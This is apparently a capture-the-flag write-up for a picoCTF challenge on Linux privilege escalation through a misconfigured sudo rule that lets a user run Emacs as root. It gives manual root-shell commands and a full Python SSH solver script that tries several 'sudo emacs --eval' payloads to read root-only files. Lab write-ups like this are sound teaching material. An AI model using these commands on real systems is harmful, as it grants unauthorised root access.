│ Category: General Skills
│ Difficulty: Easy
│ Points: 50
│ Author: Imattas aka Zemi
────────────────────────────────────────────────────────────────────────────────
--[ Challenge Description ]--
│ Can you read the flag? I think you can!
────────────────────────────────────────────────────────────────────────────────
--[ Recon / Initial Analysis ]--
This challenge teaches Linux privilege escalation through misconfigured sudo
permissions. You are given SSH access to a machine where a flag.txt file exists
but is only readable by root. The key is discovering that the current user can
run /bin/emacs as root via sudo without needing a password.
Emacs is a powerful text editor that includes a built-in shell. When launched as
root via sudo, any shell spawned from within Emacs also runs as root, giving
full access to the filesystem.
:: Tools Used
- SSH: To connect to the challenge machine
- sudo -l: To enumerate sudo privileges
- Emacs: To escalate privileges via its built-in shell
────────────────────────────────────────────────────────────────────────────────
--[ Vulnerability / Observation ]--
The system has a misconfigured /etc/sudoers entry that allows the challenge user
to run Emacs as root without a password:
ctf-player ALL=(root) NOPASSWD: /bin/emacs
This is a well-known privilege escalation vector documented on GTFOBins
https://gtfobins.github.io/gtfobins/emacs/. If a user can run Emacs as root,
they can:
1. Open a root shell from within Emacs
2. Read/write any file on the system
3. Effectively become root
────────────────────────────────────────────────────────────────────────────────
--[ Exploitation / Solution ]--
:: Step 1: Connect via SSH
Use the credentials provided by the challenge to log in:
-- bash --
ssh ctf-player@challenge-host -p PORT
# Enter the provided password when prompted
:: Step 2: Enumerate the Environment
-- bash --
whoami # Shows current user (e.g., ctf-player)
ls -la # Lists files, shows flag.txt owned by root
cat flag.txt # Permission denied - need root access
:: Step 3: Check Sudo Privileges
-- bash --
sudo -l
This reveals that the user can run /bin/emacs as root without a password:
User ctf-player may run the following commands on challenge:
(root) NOPASSWD: /bin/emacs
:: Step 4: Escalate Privileges via Emacs
-- bash --
sudo /bin/emacs
Once Emacs opens:
1. Press Alt+X (or M-x in Emacs notation) to open the command prompt
2. Type shell and press Enter
3. A shell opens running as root
Alternatively, use Emacs in non-interactive mode to read the file directly:
-- bash --
sudo /bin/emacs -nw flag.txt
Or spawn a shell directly without the full Emacs UI:
-- bash --
sudo /bin/emacs -Q -nw --eval '(term "/bin/bash")'
:: Step 5: Read the Flag
From the root shell inside Emacs:
-- bash --
cat /home/ctf-player/flag.txt
Or if you opened the file directly in Emacs, the flag is displayed in the editor
buffer.
────────────────────────────────────────────────────────────────────────────────
--[ Full Exploit Script ]--
-- python --
#!/usr/bin/env python3
"""
SUDO MAKE ME A SANDWICH - picoCTF 2026
Category: General Skills | Points: 50
Exploits misconfigured sudo permissions that allow running emacs as root.
Uses Emacs to spawn a root shell and read the flag.
Requirements:
pip install paramiko
Usage:
python3 solve.py
Set the following environment variables (or edit the defaults below):
SSH_HOST - The challenge SSH host
SSH_PORT - The challenge SSH port
SSH_USER - The SSH username
SSH_PASS - The SSH password
"""
import os
import sys
import re
import time
try:
import paramiko
except ImportError:
print("[!] Missing dependency. Install with: pip install paramiko")
print("[*] Alternatively, solve manually:")
print(" 1. ssh ctf-player@<host> -p <port>")
print(" 2. sudo -l")
print(' 3. sudo /bin/emacs -Q -nw --eval \'(term "/bin/bash")\'')
print(" 4. cat flag.txt")
sys.exit(1)
# ─── Configuration ───────────────────────────────────────────────────────────
SSH_HOST = os.getenv("SSH_HOST", "challenge-host")
SSH_PORT = int(os.getenv("SSH_PORT", "22"))
SSH_USER = os.getenv("SSH_USER", "ctf-player")
SSH_PASS = os.getenv("SSH_PASS", "password-from-challenge")
FLAG_FILE = "flag.txt"
def exec_command(ssh, cmd, timeout=10):
"""Execute a command via SSH and return stdout."""
stdin, stdout, stderr = ssh.exec_command(cmd, timeout=timeout)
output = stdout.read().decode("utf-8", errors="ignore")
errors = stderr.read().decode("utf-8", errors="ignore")
return output, errors
def find_flag(text):
"""Search for a picoCTF flag in text."""
match = re.search(r'picoCTF\{[^}]+\}', text)
if match:
return match.group(0)
return None
def solve_via_exec(ssh):
"""
Try multiple methods to read the flag using sudo + emacs.
"""
methods = [
# Method 1: Use emacs --eval to run a shell command and print the flag
(
"Emacs --eval with shell-command-to-string",
'sudo /bin/emacs --batch --eval \'(princ (shell-command-to-string "cat flag.txt"))\' 2>&1',
),
# Method 2: Use emacs to insert file contents
(
"Emacs --batch insert-file-contents",
'sudo /bin/emacs --batch --eval \'(progn (find-file "flag.txt") (princ (buffer-string)))\' 2>&1',
),
# Method 3: Use emacs -script style
(
"Emacs batch with cat via shell",
"sudo /bin/emacs --batch -f kill-emacs 2>&1; sudo /bin/emacs --batch --eval '(shell-command \"cat flag.txt\")' 2>&1",
),
# Method 4: Direct cat via sudo emacs spawning a subshell
(
"Emacs term with cat",
'sudo /bin/emacs --batch --eval \'(princ (shell-command-to-string "cat /home/*/flag.txt"))\' 2>&1',
),
# Method 5: Try reading from various common flag locations
(
"Emacs reading /root/flag.txt",
'sudo /bin/emacs --batch --eval \'(princ (shell-command-to-string "cat /root/flag.txt 2>/dev/null; cat /flag.txt 2>/dev/null; cat flag.txt 2>/dev/null"))\' 2>&1',
),
]
for name, cmd in methods:
print(f" [*] Trying: {name}")
output, errors = exec_command(ssh, cmd, timeout=15)
combined = output + errors
flag = find_flag(combined)
if flag:
print(f" [+] Success with: {name}")
return flag
if combined.strip():
# Show truncated output for debugging
preview = combined.strip()[:200].replace("\n", " | ")
print(f" Output: {preview}")
return None
def solve_via_interactive(ssh):
"""
Fall back to interactive shell to read the flag through emacs.
"""
print(" [*] Trying interactive shell approach...")
channel = ssh.invoke_shell()
time.sleep(1)
# Read initial output
if channel.recv_ready():
channel.recv(4096)
# Try direct cat with sudo
channel.send("sudo /bin/emacs --batch --eval '(princ (shell-command-to-string \"cat flag.txt\"))'\n")
time.sleep(3)
output = ""
while channel.recv_ready():
output += channel.recv(4096).decode("utf-8", errors="ignore")
flag = find_flag(output)
if flag:
return flag
# Try via shell spawned from emacs
channel.send("sudo /bin/emacs -Q --batch --eval '(progn (setq x (shell-command-to-string \"find / -name flag.txt -exec cat {} \\\\;\")) (princ x))'\n")
time.sleep(5)
output = ""
while channel.recv_ready():
output += channel.recv(4096).decode("utf-8", errors="ignore")
flag = find_flag(output)
if flag:
return flag
channel.close()
return None
def main():
print("[*] SUDO MAKE ME A SANDWICH - picoCTF 2026 Solver")
print("=" * 50)
# ─── Connect via SSH ─────────────────────────────────────────────────
print(f"\n[*] Connecting to {SSH_HOST}:{SSH_PORT} as {SSH_USER}...")
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(SSH_HOST, port=SSH_PORT, username=SSH_USER, password=SSH_PASS, timeout=15)
print("[+] SSH connection established")
except Exception as e:
print(f"[!] SSH connection failed: {e}")
print("\n[*] Manual solution:")
print(f" ssh {SSH_USER}@{SSH_HOST} -p {SSH_PORT}")
print(" sudo -l")
print(" sudo /bin/emacs flag.txt")
print(" (or: sudo /bin/emacs --batch --eval '(princ (shell-command-to-string \"cat flag.txt\"))')")
sys.exit(1)
# ─── Reconnaissance ──────────────────────────────────────────────────
print("\n[*] Reconnaissance...")
output, _ = exec_command(ssh, "whoami")
print(f" [+] Current user: {output.strip()}")
output, _ = exec_command(ssh, "ls -la")
print(f" [+] Directory listing:\n{output}")
output, errors = exec_command(ssh, "cat flag.txt 2>&1")
flag = find_flag(output)
if flag:
print(f"\n[+] Flag readable directly (no privesc needed)!")
print(f"[+] FLAG: {flag}")
ssh.close()
return
print(f" [*] Direct read result: {(output + errors).strip()}")
# ─── Check sudo privileges ───────────────────────────────────────────
print("\n[*] Checking sudo privileges...")
output, errors = exec_command(ssh, "sudo -l")
print(f" [+] sudo -l output:\n{output}{errors}")
# ─── Exploit: Read flag via sudo emacs ───────────────────────────────
print("\n[*] Exploiting sudo emacs to read the flag...")
flag = solve_via_exec(ssh)
if not flag:
flag = solve_via_interactive(ssh)
if flag:
print(f"\n{'=' * 50}")
print(f"[+] FLAG: {flag}")
print(f"{'=' * 50}")
else:
print("\n[-] Could not automatically extract the flag.")
print("[*] Manual steps:")
print(f" 1. ssh {SSH_USER}@{SSH_HOST} -p {SSH_PORT}")
print(" 2. sudo /bin/emacs")
print(" 3. Press Alt+X, type 'shell', press Enter")
print(" 4. In the shell: cat flag.txt")
ssh.close()
print("\n[*] Done!")
if __name__ == "__main__":
main()
────────────────────────────────────────────────────────────────────────────────
--[ Key Takeaways ]--
- `sudo -l` is always the first move for Linux privesc — it enumerates exactly
what you can run as root, here /bin/emacs with NOPASSWD.
- Any program that can spawn a shell or evaluate arbitrary code is a privesc
primitive when runnable as root — Emacs qualifies via M-x shell, (term ...), or
--eval '(shell-command-to-string ...)'.
- The non-interactive --batch --eval form is ideal for automation (and for
scripting via paramiko), avoiding the need for a full TTY.
- This is a canonical GTFOBins https://gtfobins.github.io/ technique — when you
find a sudo-allowed binary, check GTFOBins first.